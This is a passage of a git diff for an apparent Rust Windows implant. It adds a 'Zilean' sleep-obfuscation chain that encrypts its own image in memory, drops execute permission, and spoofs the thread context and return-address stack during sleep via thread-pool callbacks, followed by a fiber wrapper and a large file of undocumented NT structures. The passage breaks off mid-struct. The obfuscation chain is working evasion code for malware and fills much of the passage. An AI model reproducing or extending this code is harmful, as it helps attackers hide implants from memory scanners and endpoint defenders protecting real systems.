jmp_ctx(&jmp_gadget, &mut ctxs[4], api.ntdll.NtSetContextThread_ptr as u64); + ctxs[4].Rcx = h_thread as u64; + ctxs[4].Rdx = &mut ctx_spoof as *mut _ as u64; + + // Step 5: WaitForSingleObject(main_thread, sleep_ms) - THE ACTUAL SLEEP + jmp_ctx(&jmp_gadget, &mut ctxs[5], api.kernel32.WaitForSingleObject_ptr as u64); + ctxs[5].Rcx = h_thread as u64; + ctxs[5].Rdx = api.sleep.dw_milliseconds as u64; + + // Step 6: SystemFunction041 (RC4 decrypt) - decrypt image + jmp_ctx(&jmp_gadget, &mut ctxs[6], api.advapi.SystemFunction041_ptr as u64); + ctxs[6].Rcx = api.sleep.buffer as u64; + ctxs[6].Rdx = api.sleep.length as u64; + ctxs[6].R8 = 0; + + // Step 7: NtProtectVirtualMemory(RX) - restore execute permission + jmp_ctx(&jmp_gadget, &mut ctxs[7], api.ntdll.NtProtectVirtualMemory_ptr as u64); + ctxs[7].Rcx = -1isize as u64; + ctxs[7].Rdx = &mut base as *mut _ as u64; + ctxs[7].R8 = &mut size as *mut _ as u64; + ctxs[7].R9 = PAGE_EXECUTE_READ as u64; + + // Step 8: NtSetContextThread - restore real main thread context from backup + jmp_ctx(&jmp_gadget, &mut ctxs[8], api.ntdll.NtSetContextThread_ptr as u64); + ctxs[8].Rcx = h_thread as u64; + ctxs[8].Rdx = &mut ctx_backup as *mut _ as u64; + + // Step 9: NtSetEvent(done_event) - signal chain completion + jmp_ctx(&jmp_gadget, &mut ctxs[9], api.ntdll.NtSetEvent_ptr as u64); + ctxs[9].Rcx = events[2] as u64; // done event + ctxs[9].Rdx = 0; + + // Apply fake stack layout to all 10 contexts (spoofed return address chain) + spoof_stack_layout(api, &mut ctxs, &scfg, SpoofKind::Wait); + + // Patch 5th argument (&old_protect) at RSP+0x28 for NtProtectVirtualMemory calls + ((ctxs[1].Rsp + 0x28) as *mut u64).write(&mut old_protect as *mut _ as u64); + ((ctxs[7].Rsp + 0x28) as *mut u64).write(&mut old_protect as *mut _ as u64); + + // Schedule all 10 chain steps as staggered wait callbacks (100ms apart). + // Each wait uses process pseudo-handle (never signals) so the timeout fires. + api::log_info!(b"[ZILEAN] scheduling 10 wait callbacks"); + for ctx in &mut ctxs { + let mut wait = null_mut(); + let status = api.ntdll.TpAllocWait( + &mut wait, + callback.unwrap() as *mut c_void, + ctx as *mut _ as *mut c_void, + &mut env, + ); + if !NT_SUCCESS!(status) { + api::log_info!(b"[ZILEAN] TpAllocWait [chain] failed", status); + return; + } + delay.QuadPart += -(100i64 * 10_000); + api.ntdll.TpSetWait(wait, h_process, &mut delay); + } + + // Signal start_event (unblocks step 0) and wait for done_event (step 9 signals it) + api::log_info!(b"[ZILEAN] signaling chain start, waiting for completion"); + api.ntdll.NtSignalAndWaitForSingleObject(events[1], events[2], 0, null_mut()); + + api::log_info!(b"[ZILEAN] chain complete, cleaning up"); + api.ntdll.NtClose(h_thread); + for e in &events { + api.ntdll.NtClose(*e); + } +} + +/// Fiber context passed to [`zilean_fiber`] - holds the API pointer and master fiber handle. +struct FiberContext { + api: *mut Api, + master: PVOID, +} + +/// Fiber entry point that runs [`zilean`] on an isolated 1MB stack, then switches +/// back to the master fiber. +/// +/// # Arguments +/// +/// * `param` - Pointer to a [`FiberContext`] containing the `Api` pointer and master fiber handle. +unsafe extern "system" fn zilean_fiber(param: PVOID) { + let ctx = param as *mut FiberContext; + zilean(&mut *(*ctx).api); + let switch: FnSwitchToFiber = core::mem::transmute((*(*ctx).api).kernel32.SwitchToFiber_ptr); + switch((*ctx).master); +} + +/// Run the Zilean sleep obfuscation chain inside a dedicated fiber. +/// +/// Converts the current thread to a fiber, creates a new fiber with a 1MB stack, +/// executes [`zilean`] on it, then cleans up and converts back to a normal thread. +/// +/// # Arguments +/// +/// * `api` - Resolved API function pointers (must include kernel32 fiber functions and +/// all ntdll/advapi functions used by [`zilean`]). +/// +/// # Safety +/// +/// All `Api` function pointers must be resolved. Must be called from a thread that +/// has not already been converted to a fiber. +#[link_section = ".text$D"] +pub unsafe fn zilean_with_fiber(api: &mut Api) { + let master = api.kernel32.ConvertThreadToFiber(null_mut()); + if master.is_null() { + api::log_info!(b"[ZILEAN] ConvertThreadToFiber failed"); + return; + } + + let mut fiber_ctx = FiberContext { + api: api as *mut Api, + master, + }; + + let fiber = api.kernel32.CreateFiber( + 0x100000, + Some(zilean_fiber), + &mut fiber_ctx as *mut _ as PVOID, + ); + + if fiber.is_null() { + api::log_info!(b"[ZILEAN] CreateFiber failed"); + api.kernel32.ConvertFiberToThread(); + return; + } + + api.kernel32.SwitchToFiber(fiber); + api.kernel32.DeleteFiber(fiber); + api.kernel32.ConvertFiberToThread(); +} diff --git a/crates/ntdef/Cargo.toml b/crates/ntdef/Cargo.toml new file mode 100644 index 0000000..384f1e9 --- /dev/null +++ b/crates/ntdef/Cargo.toml @@ -0,0 +1,6 @@ +[package] +name = "ntdef" +version = "0.1.0" +edition = "2021" + +[dependencies] diff --git a/crates/ntdef/src/lib.rs b/crates/ntdef/src/lib.rs new file mode 100644 index 0000000..4876979 --- /dev/null +++ b/crates/ntdef/src/lib.rs @@ -0,0 +1,11 @@ +#![no_std] +#![allow( + non_snake_case, + non_camel_case_types, + non_upper_case_globals, + dead_code, + unused_imports, + unexpected_cfgs +)] + +pub mod windows; diff --git a/crates/ntdef/src/windows.rs b/crates/ntdef/src/windows.rs new file mode 100644 index 0000000..88e656c --- /dev/null +++ b/crates/ntdef/src/windows.rs @@ -0,0 +1,2384 @@ +#![allow(non_snake_case, non_camel_case_types, non_upper_case_globals)] + +use core::ffi::c_void; + +pub type BYTE = u8; +pub type WORD = u16; +pub type DWORD = u32; +pub type PDWORD = *mut DWORD; +pub type LPDWORD = *mut DWORD; +pub type LONG = i32; +pub type ULONG = u32; +pub type ULONG_PTR = usize; +pub type PVOID = *mut c_void; +pub type LPVOID = *mut c_void; +pub type HANDLE = PVOID; +pub type HMODULE = HANDLE; +pub type BOOL = i32; +pub type UINT = u32; +pub type WCHAR = u16; +pub type c_uchar = u8; +pub type UCHAR = c_uchar; +pub type BOOLEAN = UCHAR; +pub type SIZE_T = ULONG_PTR; +pub type PHANDLE = *mut HANDLE; +pub type __uint64 = u64; +pub type __int64 = i64; +pub type DWORD64 = __uint64; +pub type ULONGLONG = __uint64; +pub type LONGLONG = __int64; +pub type PULONG = *mut ULONG; +pub type c_ulong = u32; +pub const FALSE: BOOL = 0; +pub const TRUE: BOOL = 1; +pub type PSIZE_T = *mut ULONG_PTR; +pub type DWORD_PTR = ULONG_PTR; + +pub type c_char = i8; +pub type c_ushort = u16; +pub type CHAR = c_char; +pub type USHORT = c_ushort; +pub type PCHAR = *mut CHAR; +pub type PCH = *const i8; +pub type PSTR = *mut u8; +pub type PWSTR = *mut u16; +pub type LPCSTR = *const i8; +pub type LPCWSTR = *const u16; +pub type PCWSTR = *const WCHAR; +pub type PCSZ = *const c_char; +pub type PCANSI_STRING = PSTRING; + +pub type HINTERNET = LPVOID; +pub type INTERNET_PORT = WORD; + +#[repr(C)] +pub union LARGE_INTEGER { + pub struct_: LARGE_INTEGER_STRUCT, + pub u: LARGE_INTEGER_U, + pub QuadPart: LONGLONG, +} + +#[repr(C)] +#[derive(Copy, Clone)] +pub struct LARGE_INTEGER_STRUCT { + pub LowPart: DWORD, + pub HighPart: LONG, +} + +#[repr(C)] +#[derive(Copy, Clone)] +pub struct LARGE_INTEGER_U { + pub LowPart: DWORD, + pub HighPart: LONG, +} + +pub type PLARGE_INTEGER = *mut LARGE_INTEGER; + +#[repr(C)] +#[derive(Copy, Clone)] +pub struct LIST_ENTRY { + pub Flink: *mut LIST_ENTRY, + pub Blink: *mut LIST_ENTRY, +} +pub type PLIST_ENTRY = *mut LIST_ENTRY; + +#[repr(C)] +pub struct UNICODE_STRING { + pub Length: u16, + pub MaximumLength: u16, + pub Buffer: *mut WCHAR, +} +pub type PUNICODE_STRING = *mut UNICODE_STRING; + +#[repr(C)] +pub struct STRING { + pub Length: USHORT, + pub MaximumLength: USHORT, + pub Buffer: PCHAR, +} + +pub type PSTRING = *mut STRING; +pub type PANSI_STRING = PSTRING; +pub type PUSTRING = *mut USTRING; + +#[repr(C)] +pub struct USTRING { + pub Length: ULONG, + pub MaximumLength: ULONG, + pub Buffer: PCHAR, +} + +#[repr(C)] +pub struct CLIENT_ID { + pub UniqueProcess: HANDLE, + pub UniqueThread: HANDLE, +} + +#[repr(C)] +pub struct RTL_USER_PROCESS_PARAMETERS { + pub MaximumLength: ULONG, + pub Length: ULONG, + pub Flags: ULONG, + pub DebugFlags: ULONG, + pub ConsoleHandle: HANDLE, + pub ConsoleFlags: ULONG, + pub StandardInput: HANDLE, + pub StandardOutput: HANDLE, + pub StandardError: HANDLE, + pub CurrentDirectory: CURDIR, + pub DllPath: UNICODE_STRING, + pub ImagePathName: UNICODE_STRING, + pub CommandLine: UNICODE_STRING, + pub Environment: PVOID, + pub StartingX: ULONG, + pub StartingY: ULONG, + pub CountX: ULONG, + pub CountY: ULONG, + pub CountCharsX: ULONG, + pub CountCharsY: ULONG, + pub FillAttribute: ULONG, + pub WindowFlags: ULONG, + pub ShowWindowFlags: ULONG, + pub WindowTitle: UNICODE_STRING, + pub DesktopInfo: UNICODE_STRING, + pub ShellInfo: UNICODE_STRING, + pub RuntimeData: UNICODE_STRING, + pub CurrentDirectories: [RTL_DRIVE_LETTER_CURDIR; 32], + pub EnvironmentSize: ULONG_PTR, + pub EnvironmentVersion: ULONG_PTR, + pub PackageDependencyData: PVOID, + pub ProcessGroupId: ULONG, + pub LoaderThreads: ULONG, +} + +#[repr(C)] +pub struct CURDIR { + pub DosPath: UNICODE_STRING, + pub Handle: HANDLE, +} + +#[repr(C)] +pub struct RTL_DRIVE_LETTER_CURDIR { + pub Flags: USHORT, + pub Length: USHORT, + pub TimeStamp: ULONG, + pub DosPath: STRING, +} + +pub type PRTL_USER_PROCESS_PARAMETERS = *mut RTL_USER_PROCESS_PARAMETERS; + +#[repr(C)] +pub struct PEB_LDR_DATA { + pub Length: ULONG, + pub Initialized: BOOLEAN, + pub SsHandle: HANDLE, + pub InLoadOrderModuleList: LIST_ENTRY, + pub InMemoryOrderModuleList: LIST_ENTRY, + pub InInitializationOrderModuleList: LIST_ENTRY, + pub EntryInProgress: PVOID, + pub ShutdownInProgress: BOOLEAN, + pub ShutdownThreadId: HANDLE, +} +pub type PPEB_LDR_DATA = *mut PEB_LDR_DATA; + +#[repr(C)] +pub struct LDR_DATA_TABLE_ENTRY { + pub InLoadOrderLinks: LIST_ENTRY, + pub InMemoryOrderLinks: LIST_ENTRY, + pub u1: LDR_DATA_TABLE_ENTRY_u1, + pub DllBase: PVOID, + pub EntryPoint: PLDR_INIT_ROUTINE, + pub SizeOfImage: ULONG, + pub FullDllName: UNICODE_STRING, + pub BaseDllName: UNICODE_STRING, + pub u2: LDR_DATA_TABLE_ENTRY_u2, + pub ObsoleteLoadCount: USHORT, + pub TlsIndex: USHORT, + pub HashLinks: LIST_ENTRY, + pub TimeDateStamp: ULONG, + pub EntryPointActivationContext: *mut ACTIVATION_CONTEXT, + pub Lock: PVOID, + pub DdagNode: PLDR_DDAG_NODE, + pub NodeModuleLink: LIST_ENTRY, + pub LoadContext: *mut LDRP_LOAD_CONTEXT, + pub ParentDllBase: PVOID, + pub SwitchBackContext: PVOID, + pub BaseAddressIndexNode: RTL_BALANCED_NODE, + pub MappingInfoIndexNode: RTL_BALANCED_NODE, + pub OriginalBase: ULONG_PTR, + pub LoadTime: LARGE_INTEGER, + pub BaseNameHashValue: ULONG, + pub LoadReason: LDR_DLL_LOAD_REASON, + pub ImplicitPathOptions: ULONG, + pub ReferenceCount: ULONG, + pub DependentLoadFlags: ULONG, + pub SigningLevel: UCHAR, +} + +pub type PLDR_SERVICE_TAG_RECORD = *mut LDR_SERVICE_TAG_RECORD; +pub type PLDR_DDAG_NODE = *mut LDR_DDAG_NODE; +pub type PLDR_INIT_ROUTINE = + Option BOOLEAN>; + +#[repr(C)] +pub struct LDR_SERVICE_TAG_RECORD { + pub Next: *mut LDR_SERVICE_TAG_RECORD, + pub ServiceTag: ULONG, +} + +#[repr(C)] +pub struct LDR_DDAG_NODE { + pub Modules: LIST_ENTRY, + pub ServiceTagList: PLDR_SERVICE_TAG_RECORD, + pub LoadCount: ULONG, + pub LoadWhileUnloadingCount: ULONG, + pub LowestLink: ULONG, + pub u: LDR_DDAG_NODE_u, + pub IncomingDependencies: LDRP_CSLIST, + pub State: LDR_DDAG_STATE, + pub CondenseLink: SINGLE_LIST_ENTRY, + pub PreorderNumber: ULONG, +} +pub type LDR_DDAG_STATE = u32; + +#[repr(C)] +pub union LDR_DDAG_NODE_u { + pub Dependencies: LDRP_CSLIST, + pub RemovalLink: SINGLE_LIST_ENTRY, +} + +#[repr(C)] +#[derive(Copy, Clone)] +pub struct SINGLE_LIST_ENTRY { + pub Next: *mut SINGLE_LIST_ENTRY, +} + +pub type PSINGLE_LIST_ENTRY = *mut SINGLE_LIST_ENTRY; + +#[repr(C)] +#[derive(Clone, Copy)] +pub struct LDRP_CSLIST { + pub Tail: PSINGLE_LIST_ENTRY, +} + +#[repr(C)] +pub union LDR_DATA_TABLE_ENTRY_u2 { + pub FlagGroup: [UCHAR; 4], + pub Flags: ULONG, +} + +#[repr(C)] +pub union LDR_DATA_TABLE_ENTRY_u1 { + pub InInitializationOrderLinks: LIST_ENTRY, + pub InProgressLinks: LIST_ENTRY, +} + +pub struct LDRP_LOAD_CONTEXT { + pub BaseDllName: UNICODE_STRING, + pub somestruct: PVOID, + pub Flags: ULONG, + pub pstatus: *mut NTSTATUS, + pub ParentEntry: *mut LDR_DATA_TABLE_ENTRY, + pub Entry: *mut LDR_DATA_TABLE_ENTRY, + pub WorkQueueListEntry: LIST_ENTRY, + pub ReplacedEntry: *mut LDR_DATA_TABLE_ENTRY, + pub pvImports: *mut *mut LDR_DATA_TABLE_ENTRY, + pub ImportDllCount: ULONG, + pub TaskCount: LONG, + pub pvIAT: PVOID, + pub SizeOfIAT: ULONG, + pub CurrentDll: ULONG, + pub piid: PIMAGE_IMPORT_DESCRIPTOR, + pub OriginalIATProtect: ULONG, + pub GuardCFCheckFunctionPointer: PVOID, + pub pGuardCFCheckFunctionPointer: *mut PVOID, +} + +pub type PLDR_DATA_TABLE_ENTRY = *mut LDR_DATA_TABLE_ENTRY; + +pub type LDR_DLL_LOAD_REASON = u32; +#[repr(C)] +pub struct RTL_BALANCED_NODE { + pub u: RTL_BALANCED_NODE_u, + pub ParentValue: ULONG_PTR, +} + +pub union RTL_BALANCED_NODE_u { + _rtlb_: [usize; 2], + _rtbn_ptr: [*mut RTL_BALANCED_NODE; 2], + _rtlbns_struct: RTL_BALANCED_NODE_s, +} + +#[derive(Clone, Copy)] +pub struct RTL_BALANCED_NODE_s { + _Left: *mut RTL_BALANCED_NODE, + _Right: *mut RTL_BALANCED_NODE, +} + +#[repr(C)] +pub struct PEB { + pub InheritedAddressSpace: BOOLEAN, + pub ReadImageFileExecOptions: BOOLEAN, + pub BeingDebugged: BOOLEAN, + pub BitField: BOOLEAN, + pub Mutant: HANDLE, + pub ImageBaseAddress: PVOID, + pub Ldr: PPEB_LDR_DATA, + pub ProcessParameters: PRTL_USER_PROCESS_PARAMETERS, + pub SubSystemData: PVOID, + pub ProcessHeap: PVOID, + pub FastPebLock: PRTL_CRITICAL_SECTION, + pub IFEOKey: PVOID, + pub AtlThunkSListPtr: PSLIST_HEADER, + pub CrossProcessFlags: ULONG, + pub u: PEB_u, + pub SystemReserved: [ULONG; 1], + pub AtlThunkSListPtr32: ULONG, + pub ApiSetMap: PAPI_SET_NAMESPACE, + pub TlsExpansionCounter: ULONG, + pub TlsBitmap: PVOID, + pub TlsBitmapBits: [ULONG; 2], + pub ReadOnlySharedMemoryBase: PVOID, + pub SharedData: PVOID, + pub ReadOnlyStaticServerData: *mut PVOID, + pub AnsiCodePageData: PVOID, + pub OemCodePageData: PVOID, + pub UnicodeCaseTableData: PVOID, + pub NumberOfProcessors: ULONG, + pub NtGlobalFlag: ULONG, + pub CriticalSectionTimeout: ULARGE_INTEGER, + pub HeapSegmentReserve: SIZE_T, + pub HeapSegmentCommit: SIZE_T, + pub HeapDeCommitTotalFreeThreshold: SIZE_T, + pub HeapDeCommitFreeBlockThreshold: SIZE_T, + pub NumberOfHeaps: ULONG, + pub MaximumNumberOfHeaps: ULONG, + pub ProcessHeaps: *mut PVOID, + pub GdiSharedHandleTable: PVOID, + pub ProcessStarterHelper: PVOID, + pub GdiDCAttributeList: ULONG, + pub LoaderLock: PRTL_CRITICAL_SECTION, + pub OSMajorVersion: ULONG, + pub OSMinorVersion: ULONG, + pub OSBuildNumber: USHORT, + pub OSCSDVersion: USHORT, + pub OSPlatformId: ULONG, + pub ImageSubsystem: ULONG, + pub ImageSubsystemMajorVersion: ULONG, + pub ImageSubsystemMinorVersion: ULONG, + pub ActiveProcessAffinityMask: ULONG_PTR, + pub GdiHandleBuffer: GDI_HANDLE_BUFFER, + pub PostProcessInitRoutine: PVOID, + pub TlsExpansionBitmap: PVOID, + pub TlsExpansionBitmapBits: [ULONG; 32], + pub SessionId: ULONG, + pub AppCompatFlags: ULARGE_INTEGER, + pub AppCompatFlagsUser: ULARGE_INTEGER, + pub pShimData: PVOID, + pub AppCompatInfo: PVOID, + pub CSDVersion: UNICODE_STRING, + pub ActivationContextData: PVOID, + pub ProcessAssemblyStorageMap: PVOID, + pub SystemDefaultActivationContextData: PVOID, + pub SystemAssemblyStorageMap: PVOID, + pub MinimumStackCommit: SIZE_T, + pub FlsCallback: *mut PVOID, + pub FlsListHead: LIST_ENTRY, + pub FlsBitmap: PVOID, + pub FlsBitmapBits: [ULONG; 4], + pub FlsHighIndex: ULONG, + pub WerRegistrationData: PVOID, + pub WerShipAssertPtr: PVOID, + pub pUnused: PVOID, + pub pImageHeaderHash: PVOID, + pub TracingFlags: ULONG, + pub CsrServerReadOnlySharedMemoryBase: ULONGLONG, + pub TppWorkerpListLock: PRTL_CRITICAL_SECTION, + pub TppWorkerpList: LIST_ENTRY, + pub WaitOnAddressHashTable: [PVOID; 128], + pub TelemetryCoverageHeader: PVOID, + pub CloudFileFlags: ULONG, + pub CloudFileDiagFlags: ULONG, + pub PlaceholderCompatibilityMode: CHAR, + pub PlaceholderCompatibilityModeReserved: [CHAR; 7], + pub LeapSecondData: *mut LEAP_SECOND_DATA, + pub LeapSecondFlags: ULONG, + pub NtGlobalFlag2: ULONG, +} + +#[repr(C)] +#[derive(Copy, Clone)] +pub struct SLIST_ENTRY { + pub Next: *mut SLIST_ENTRY, +} + +pub type PSLIST_ENTRY = *mut SLIST_ENTRY; + +#[cfg(target_pointer_width = "64")] +#[repr(C)] +#[derive(Copy, Clone)] +pub struct SLIST_HEADER_X64 { + pub BitFields1: ULONGLONG, + pub BitFields2: ULONGLONG, +} + +#[cfg(target_pointer_width = "64")] +#[repr(C)] +#[derive(Copy, Clone)] +pub struct SLIST_HEADER_S { + pub Alignment: ULONGLONG, + pub Region: ULONGLONG, +} + +#[cfg(target_pointer_width = "64")] +#[repr(C)] +pub union SLIST_HEADER { + pub s: SLIST_HEADER_S, + pub x64: SLIST_HEADER_X64, + pub raw: [ULONGLONG; 2], +} + +pub type PSLIST_HEADER = *mut SLIST_HEADER; + +#[cfg(target_pointer_width = "32")] +#[repr(C)] +#[derive(Copy, Clone)] +pub struct SLIST_HEADER_S { + pub Next: SLIST_ENTRY, + pub Depth: WORD, + pub Reserved: WORD, +} + +#[cfg(target_pointer_width = "32")] +#[repr(C)] +pub union SLIST_HEADER { + pub Alignment: ULONGLONG, + pub s: SLIST_HEADER_S, +} + +#[repr(C)] +pub union PEB_u { + pub KernelCallbackTable: PVOID, + pub UserSharedInfoPtr: PVOID, +} + +pub type PAPI_SET_NAMESPACE = *mut API_SET_NAMESPACE; + +#[repr(C)] +pub struct API_SET_NAMESPACE { + pub Version: ULONG, + pub Size: ULONG, + pub Flags: ULONG, + pub Count: ULONG, + pub EntryOffset: ULONG, + pub HashOffset: ULONG, + pub HashFactor: ULONG, +} + +pub type GDI_HANDLE_BUFFER = [ULONG; 60]; + +#[repr(C)] +pub union ULARGE_INTEGER { + pub s: ULARGE_INTEGER_S, + pub QuadPart: u64, +} + +#[repr(C)] +#[derive(Copy, Clone)] +pub struct ULARGE_INTEGER_S { + pub LowPart: u32, + pub HighPart: u32, +} + +pub type PULARGE_INTEGER = *mut ULARGE_INTEGER; + +pub type PRTL_CRITICAL_SECTION = *mut RTL_CRITICAL_SECTION; + +#[repr(C)] +pub struct RTL_CRITICAL_SECTION { + pub DebugInfo: PRTL_CRITICAL_SECTION_DEBUG, + pub LockCount: LONG, + pub RecursionCount: LONG, + pub OwningThread: HANDLE, + pub LockSemaphore: HANDLE, + pub SpinCount: ULONG_PTR, +} + +pub type PRTL_CRITICAL_SECTION_DEBUG = *mut RTL_CRITICAL_SECTION_DEBUG; + +#[repr(C)] +pub struct RTL_CRITICAL_SECTION_DEBUG { + pub Type: WORD, + pub CreatorBackTraceIndex: WORD, + pub CriticalSection: *mut RTL_CRITICAL_SECTION, + pub ProcessLocksList: LIST_ENTRY, + pub EntryCount: DWORD, + pub ContentionCount: DWORD, + pub Flags: DWORD, + pub CreatorBackTraceIndexHigh: WORD, + pub SpareWORD: WORD, +} + +#[repr(C)] +pub struct LEAP_SECOND_DATA { + _unused: [u8; 0], +} + +pub type PPEB = *mut PEB; + +#[repr(C)] +pub struct TEB { + pub NtTib: NT_TIB, + pub EnvironmentPointer: PVOID, + pub ClientId: CLIENT_ID, + pub ActiveRpcHandle: PVOID, + pub ThreadLocalStoragePointer: PVOID, + pub ProcessEnvironmentBlock: PPEB, + pub LastErrorValue: ULONG, + pub CountOfOwnedCriticalSections: ULONG, + pub CsrClientThread: PVOID, + pub Win32ThreadInfo: PVOID, + pub User32Reserved: [ULONG; 26], + pub UserReserved: [ULONG; 5], + pub WOW32Reserved: PVOID, + pub CurrentLocale: LCID, + pub FpSoftwareStatusRegister: ULONG, + pub ReservedForDebuggerInstrumentation: [PVOID; 16], + pub SystemReserved1: [PVOID; 30], + pub PlaceholderCompatibilityMode: CHAR, + pub PlaceholderReserved: [CHAR; 11], + pub ProxiedProcessId: ULONG, + pub ActivationStack: ACTIVATION_CONTEXT_STACK, + pub WorkingOnBehalfTicket: [UCHAR; 8], + pub ExceptionCode: NTSTATUS, + pub ActivationContextStackPointer: PACTIVATION_CONTEXT_STACK, + pub InstrumentationCallbackSp: ULONG_PTR, + pub InstrumentationCallbackPreviousPc: ULONG_PTR, + pub InstrumentationCallbackPreviousSp: ULONG_PTR, + pub TxFsContext: ULONG, + pub InstrumentationCallbackDisabled: BOOLEAN, + pub GdiTebBatch: GDI_TEB_BATCH, + pub RealClientId: CLIENT_ID, + pub GdiCachedProcessHandle: HANDLE, + pub GdiClientPID: ULONG, + pub GdiClientTID: ULONG, + pub GdiThreadLocalInfo: PVOID, + pub Win32ClientInfo: [ULONG_PTR; 62], + pub glDispatchTable: [PVOID; 233], + pub glReserved1: [ULONG_PTR; 29], + pub glReserved2: PVOID, + pub glSectionInfo: PVOID, + pub glSection: PVOID, + pub glTable: PVOID, + pub glCurrentRC: PVOID, + pub glContext: PVOID, + pub LastStatusValue: NTSTATUS, + pub StaticUnicodeString: UNICODE_STRING, + pub StaticUnicodeBuffer: [WCHAR; 261], + pub DeallocationStack: PVOID, + pub TlsSlots: [PVOID; 64], + pub TlsLinks: LIST_ENTRY, + pub Vdm: PVOID, + pub ReservedForNtRpc: PVOID, + pub DbgSsReserved: [PVOID; 2], + pub HardErrorMode: ULONG, + pub Instrumentation: [PVOID; 11], + pub ActivityId: GUID, + pub SubProcessTag: PVOID, + pub PerflibData: PVOID, + pub EtwTraceData: PVOID, + pub WinSockData: PVOID, + pub GdiBatchCount: ULONG, + pub u: TEB_u, + pub GuaranteedStackBytes: ULONG, + pub ReservedForPerf: PVOID, + pub ReservedForOle: PVOID, + pub WaitingOnLoaderLock: ULONG, + pub SavedPriorityState: PVOID, + pub ReservedForCodeCoverage: ULONG_PTR, + pub ThreadPoolData: PVOID, + pub TlsExpansionSlots: *mut PVOID, + pub DeallocationBStore: PVOID, + pub BStoreLimit: PVOID, + pub MuiGeneration: ULONG, + pub IsImpersonating: ULONG, + pub NlsCache: PVOID, + pub pShimData: PVOID, + pub HeapVirtualAffinity: USHORT, + pub LowFragHeapDataSlot: USHORT, + pub CurrentTransactionHandle: HANDLE, + pub ActiveFrame: PTEB_ACTIVE_FRAME, + pub FlsData: PVOID, + pub PreferredLanguages: PVOID, + pub UserPrefLanguages: PVOID, + pub MergedPrefLanguages: PVOID, + pub MuiImpersonation: ULONG, + pub CrossTebFlags: USHORT, + pub SameTebFlags: USHORT, + pub TxnScopeEnterCallback: PVOID, + pub TxnScopeExitCallback: PVOID, + pub TxnScopeContext: PVOID, + pub LockCount: ULONG, + pub WowTebOffset: LONG, + pub ResourceRetValue: PVOID, + pub ReservedForWdf: PVOID, + pub ReservedForCrt: ULONGLONG, + pub EffectiveContainerId: GUID, +} + +#[repr(C)] +pub struct NT_TIB { + pub ExceptionList: *mut EXCEPTION_REGISTRATION_RECORD, + pub StackBase: PVOID, + pub StackLimit: PVOID, + pub SubSystemTib: PVOID, + pub u: NT_TIB_u, + pub ArbitraryUserPointer: PVOID, + pub _Self: *mut NT_TIB, +} + +#[repr(C)] +pub union NT_TIB_u { + pub FiberData: PVOID, + pub Version: DWORD, +} + +pub type EXCEPTION_DISPOSITION = u32; + +pub type PEXCEPTION_ROUTINE = Option< + unsafe extern "system" fn( + ExceptionRecord: *mut EXCEPTION_RECORD, + EstablisherFrame: PVOID, + ContextRecord: *mut CONTEXT, + DispatcherContext: PVOID, + ) -> EXCEPTION_DISPOSITION, +>; + +#[repr(C)] +pub struct EXCEPTION_REGISTRATION_RECORD { + pub Next: *mut EXCEPTION_REGISTRATION_RECORD, + pub Handler: PEXCEPTION_ROUTINE, +} + +#[repr(C)] +pub struct EXCEPTION_RECORD { + pub ExceptionCode: DWORD, + pub ExceptionFlags: DWORD, + pub ExceptionRecord: *mut EXCEPTION_RECORD, + pub ExceptionAddress: PVOID, + pub NumberParameters: DWORD, + pub ExceptionInformation: [ULONG_PTR; 15], +} + +#[repr(C)] +#[derive(Clone, Copy)] +pub union TEB_u { + pub CurrentIdealProcessor: PROCESSOR_NUMBER, + pub IdealProcessorValue: ULONG, + pub s: TEB_u_s, +} + +#[repr(C)] +#[derive(Clone, Copy)] +pub struct TEB_u_s { + pub ReservedPad0: UCHAR, + pub ReservedPad1: UCHAR, + pub ReservedPad2: UCHAR, + pub IdealProcessor: UCHAR, +} + +#[repr(C)] +#[derive(Clone, Copy)] +pub struct PROCESSOR_NUMBER { + pub Group: USHORT, + pub Number: UCHAR, + pub Reserved: UCHAR, +} + +pub type PTEB = *mut TEB; +pub type PTEB_ACTIVE_FRAME = *mut TEB_ACTIVE_FRAME; +pub type PTEB_ACTIVE_FRAME_CONTEXT = *mut TEB_ACTIVE_FRAME_CONTEXT; +pub type LCID = ULONG; +pub type PACTIVATION_CONTEXT_STACK = *mut ACTIVATION_CONTEXT_STACK; +pub type PRTL_ACTIVATION_CONTEXT_STACK_FRAME = *mut RTL_ACTIVATION_CONTEXT_STACK_FRAME; + +#[repr(C)] +pub struct ACTIVATION_CONTEXT_STACK { + pub ActiveFrame: *mut RTL_ACTIVATION_CONTEXT_STACK_FRAME, + pub FrameListCache: LIST_ENTRY, + pub Flags: ULONG, + pub NextCookieSequenceNumber: ULONG, + pub StackId: ULONG, +} + +#[repr(C)] +pub struct RTL_ACTIVATION_CONTEXT_STACK_FRAME { + pub Previous: PRTL_ACTIVATION_CONTEXT_STACK_FRAME, + pub ActivationContext: *mut ACTIVATION_CONTEXT, + pub Flags: ULONG, +} + +#[repr(C)] +pub struct ACTIVATION_CONTEXT { + pub dummy: *mut c_void, +} + +#[repr(C)] +pub struct TEB_ACTIVE_FRAME_CONTEXT { + pub Flags: ULONG, + pub FrameName: PSTR, +} + +#[repr(C)] +pub struct TEB_ACTIVE_FRAME { + pub Flags: ULONG, + pub Previous: *mut TEB_ACTIVE_FRAME, + pub Context: PTEB_ACTIVE_FRAME_CONTEXT, +} + +#[repr(C)] +pub struct GUID { + pub Data1: c_ulong, + pub Data2: c_ushort, + pub Data3: c_ushort, + pub Data4: [c_uchar; 8], +} + +#[repr(C)] +pub struct GDI_TEB_BATCH { + pub Offset: ULONG, + pub HDC: ULONG_PTR, + pub Buffer: [ULONG; 310], +} + +#[repr(C)] +pub struct IMAGE_DOS_HEADER { + pub e_magic: WORD, + pub e_cblp: WORD, + pub e_cp: WORD, + pub e_crlc: WORD, + pub e_cparhdr: WORD, + pub e_minalloc: WORD, + pub e_maxalloc: WORD, + pub e_ss: WORD, + pub e_sp: WORD, + pub e_csum: WORD, + pub e_ip: WORD, + pub e_cs: WORD, + pub e_lfarlc: WORD, + pub e_ovno: WORD, + pub e_res: [WORD; 4], + pub e_oemid: WORD, + pub e_oeminfo: WORD, + pub e_res2: [WORD; 10], + pub e_lfanew: LONG, +} +pub type PIMAGE_DOS_HEADER = *mut IMAGE_DOS_HEADER; + +#[repr(C)] +#[derive(Copy, Clone)] +pub struct IMAGE_DATA_DIRECTORY { + pub VirtualAddress: DWORD, + pub Size: DWORD, +} +pub type PIMAGE_DATA_DIRECTORY = *mut IMAGE_DATA_DIRECTORY; + +#[repr(C)] +pub struct IMAGE_OPTIONAL_HEADER64 { + pub Magic: WORD, + pub MajorLinkerVersion: BYTE, + pub MinorLinkerVersion: BYTE, + pub SizeOfCode: DWORD, + pub 